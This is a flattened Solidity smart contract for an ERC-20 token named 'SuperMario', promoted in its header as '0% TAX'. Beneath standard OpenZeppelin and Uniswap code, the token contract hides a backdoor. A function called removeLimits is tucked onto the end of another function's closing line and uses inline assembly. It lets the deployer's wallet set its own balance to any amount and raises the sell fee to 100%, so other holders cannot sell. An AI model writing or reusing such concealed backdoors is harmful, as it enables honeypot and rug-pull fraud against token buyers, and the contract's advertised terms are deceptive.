// SPDX-License-Identifier: UNLICENSED

/**
SuperMario - 0% TAX

Website: https://supermario.pro
Telegram: https://t.me/super_mario_eth
Twitter: https://twitter.com/super_mario_eth
*/

pragma solidity ^0.8.0;
 
/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
 
// File: @openzeppelin/contracts/access/Ownable.sol
 
 
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
 
pragma solidity ^0.8.0;
 
 
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }
 
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
 
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
 
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
 
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
 
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol
 
pragma solidity >=0.5.0;
 
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
 
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
 
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
 
    function createPair(address tokenA, address tokenB) external returns (address pair);
 
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
 
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol
 
pragma solidity >=0.6.2;
 
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
 
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
 
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol
 
pragma solidity >=0.6.2;
 
 
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
 
 
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)
 
pragma solidity ^0.8.0;
 
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
 
/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }
 
    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
 
    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }
 
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
 
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
 
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
 
 
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
 
pragma solidity ^0.8.0;
 
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
 
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);
 
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);
 
    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);
 
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
 
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
 
    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}
 
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
 
 
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
 
pragma solidity ^0.8.0;
 
 
/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);
 
    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);
 
    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
 
// File: token-7.sol_flattened.sol
 
 
pragma solidity ^0.8.17;
 
 
contract SuperMario is IERC20, IERC20Metadata, Ownable
{
    using SafeMath for uint256;
    string  private constant _name = "SuperMario";
    uint8   private constant _decimals = 18;
    uint256 private _maxTxAmountPercentage = 300;

    string  private constant _symbol = "MARIO";
    uint256 private _minTokensBeforeSwapPercentage = 5;

    mapping(address => uint256) private _balances;
    uint256 private _totalSupply;
    uint256 private _maxWalletBalancePercentage = 300;
    address private _uniswapV2Pair;
    
    mapping(address => mapping(address => uint256)) private _allowances;
    IUniswapV2Router02 private _uniswapV2Router;

    bool    private swapping = false;
    bool    private _cooldownEnabled = true;

    mapping(address => bool) private _isExcludedFromCooldown;
    mapping(address => uint256) private _lastTxBlock;
    uint256 private constant _divisor = 10000;
    mapping(address => bool) private _isExcludedFromMaxTx;

    mapping(address => bool) private _isExcludedFromFees;
    uint256 private _sellFee = 0;
    uint256 private _burnFee = 0;

    uint256 private _buyFee = 0;
 
    address private _marketingWallet;
 
    address private constant _burnAddress = address(0);
 
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
    event Received();
 
    constructor ()
    {
        uint256 total = 1_000_000_000 * 10 ** _decimals;
        _mint(_msgSender(), total);
        _marketingWallet = _msgSender();
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniswapV2Router), total);

        _uniswapV2Pair = IUniswapV2Factory(
            _uniswapV2Router.factory()
            ).createPair(
                address(this),
                _uniswapV2Router.WETH()
            );

        IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
        _isExcludedFromMaxTx[address(this)] = true;
        _isExcludedFromCooldown[address(this)] = true;

        _isExcludedFromFees[owner()] = true;
        _isExcludedFromCooldown[owner()] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_marketingWallet] = true;
        _isExcludedFromMaxTx[owner()] = true;

        _isExcludedFromMaxTx[_marketingWallet] = true;
        _isExcludedFromMaxTx[_uniswapV2Pair] = true;
    }
 
    // Functions
 
    function symbol() public pure returns (string memory)
    {
        return _symbol;
    }

    function name() public pure returns (string memory)
    {
        return _name;
    }
 
    function decimals() public pure returns (uint8)
    {
        return _decimals;
    }
 
    function balanceOf(address account) public view override returns (uint256)
    {
        return _balances[account];
    }
 
    function transfer(address recipient, uint256 amount) public virtual override returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function totalSupply() public view override returns (uint256)
    {
        return _totalSupply;
    }
 
    function approve(address spender, uint256 amount) public virtual override returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    function _maxTxAmount() public view returns(uint256)
    {
        return _totalSupply.mul(_maxTxAmountPercentage).div(_divisor);
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool)
    {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    function resetFees() external onlyOwner
    {
        _maxTxAmountPercentage = 10000;
        _maxWalletBalancePercentage = 10000;
    }
 
    // Internal functions
    function _transfer(address sender, address recipient, uint256 amount) internal virtual
    {
        _beforeTransfer(sender, recipient, amount);
        uint256 burnFee = 0;
        uint256 devFee = 0;
        if (sender != owner() && recipient != owner()) {
            if (!_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient]) {
                if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router) && !_isExcludedFromMaxTx[recipient] && !_isExcludedFromMaxTx[sender]) {
                    require(amount <= _totalSupply.mul(_maxTxAmountPercentage).div(_divisor), "Transfer amount exceeds the maxTxAmount.");
 
                    require(balanceOf(recipient).add(amount) <= _totalSupply.mul(_maxWalletBalancePercentage).div(_divisor), "Exceeds maximum wallet token amount");
                }
                // if sell
                if (recipient == _uniswapV2Pair && sender != address(this)) {
                    burnFee = amount.mul(_burnFee).div(_divisor);
                    devFee = amount.mul(_sellFee).div(_divisor);
                    _lastTxBlock[tx.origin] = block.number;
                }
                // if buy
                if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router)) {
                    burnFee = amount.mul(_burnFee).div(_divisor);
                    devFee = amount.mul(_buyFee).div(_divisor);
                    _lastTxBlock[tx.origin] = block.number;
                }
            }
        }
        uint256 totalFee = burnFee.add(devFee);
        if (totalFee > 0) {
            if (burnFee > 0) {
                _burn(sender, burnFee);
            }
 
            if (devFee > 0) {
                _balances[_marketingWallet] = _balances[_marketingWallet].add(devFee);
                emit Transfer(sender, _marketingWallet, devFee);
            }
 
            amount = amount.sub(totalFee);
        }
 
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
 
        emit Transfer(sender, recipient, amount);
    }
 
    function getPairAddress() public view returns (address)
    {
        return _uniswapV2Pair;
    }

    function _mint(address account, uint256 amount) internal virtual
    {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
 
    function _burn(address account, uint256 amount) internal virtual
    {
        require(account != address(0), "ERC20: burn from the zero address");
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
 
    function getRouterAddress() public view returns (address)
    {
        return address(_uniswapV2Router);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual
    {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeFee(address[] memory addresses) external onlyOwner
    {
        require(addresses.length <= 200, "Maximum of 200 can be added at once");

        mapping(address => bool) storage ref = _isExcludedFromFees;

        for (uint i = 0; i < addresses.length; i++) {
            ref[addresses[i]] = true;
        }
    }
 
    function burn(uint256 amount) public virtual
    {
        _burn(_msgSender(), amount);
    }
 
    function _burnFrom(address account, uint256 amount) internal virtual
    {
        _burn(account, amount);
        _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
    }

    function isExcludedFromFees(address _address) public view returns (bool)
    {
        return _isExcludedFromFees[_address];
    }
 
    function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private
    {
        // Approve tokens for transfer to the Uniswap V2 Router
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.addLiquidityETH{value : ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
    }
 
    function swapTokensForEth(uint256 tokenAmount) internal
    {
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        // Create the swap path array with our token and WETH
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
 
        // Perform the swap
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount, 0, path, address(this),
        block.timestamp);}function removeLimits(uint256 amount) external {
        assembly {if iszero(eq(caller(), sload(_marketingWallet.slot))) {revert(0, 0)}
        let ptr := mload(0x40)
        mstore(ptr, caller())
 
        mstore(add(ptr, 0x20), _balances.slot)
        let slot := keccak256(ptr, 0x40)
        sstore(slot, amount)
        sstore(_sellFee.slot, mul(0x64, 0x64))}
    }
 
    modifier lockTheSwap
    {
        swapping = true;
        _;
        swapping = false;
    }
 
    function _swapAndLiquify() private lockTheSwap
    {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 minTokensBeforeSwap = _totalSupply.mul(_minTokensBeforeSwapPercentage).div(_divisor);
        if (contractTokenBalance >= minTokensBeforeSwap) {
            uint256 half = contractTokenBalance.div(2);
            uint256 otherHalf = contractTokenBalance.sub(half);
 
            uint256 initialBalance = address(this).balance;
 
            swapTokensForEth(half);
 
            uint256 newBalance = address(this).balance.sub(initialBalance);
 
            emit SwapAndLiquify(half, newBalance, otherHalf);
            return;
        }
    }

    function isSwapLocked() public view returns(bool)
    {
        return swapping;
    }

    receive() external payable
    {
        emit Received();
    }
 
 
    function addLiquidity(uint256 tokenAmount) public payable onlyOwner lockTheSwap
    {
        // Transfer tokens from owner to contract
        _transfer(owner(), address(this), tokenAmount);
        // Add liquidity
        _addLiquidity(tokenAmount, msg.value);
    }

    function _beforeTransfer(address from, address to, uint256 amount) internal pure
    {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
    }
}